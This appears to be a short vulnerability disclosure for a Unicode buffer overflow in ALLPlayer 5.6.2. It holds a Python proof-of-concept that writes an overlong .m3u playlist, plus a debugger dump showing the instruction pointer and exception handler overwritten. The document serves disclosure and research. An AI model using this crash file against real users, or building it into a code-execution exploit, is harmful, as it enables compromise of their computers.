Title: ALLPlayer Local Buffer Overflow PoC UNICODE Vendor: http://www.allplayer.org/download/allplayer Date found: 09.10.2013 Date published: 09.10.2013 Platform: windows 7 German Bug: Buffer Overflow UNICODE ---------------------------- 1)VERSIONS AFFECTED ---- ALLPlayer 5.6.2 2)Proof of Concept ------------------ junk = "http://" buffer="\x41" * 5000 exploit = junk + buffer try: out_file = open("ALLPlayer_Poc.m3u",'w') out_file.write(exploit) out_file.close() print "Exploit file created!" except: print "Error" 3)-(DEBUG) ---------- (1e60.1dec): Access violation - code c0000005 (!!! second chance !!!) *** WARNING: Unable to verify checksum for C:\Program Files\ALLPlayer\ALLPlayer.exe *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\ALLPlayer\ALLPlayer.exe eax=00000000 ebx=00000000 ecx=00410041 edx=770d720d esi=00000000 edi=00000000 eip=00410041 esp=000311c4 ebp=000311e4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246 ALLPlayer+0x10041: 00410041 008bc0ff2504 add byte ptr [ebx+425FFC0h],cl ds:0023:0425ffc0=?? 0:000> !exchain --------------- 0012e4b0: ALLPlayer+1b7037 (005b7037) 0012e734: ALLPlayer+10041 (00410041) Invalid exception stack at 00410041 4)Credits --------- metacom Contact : metacom27 at gmail.com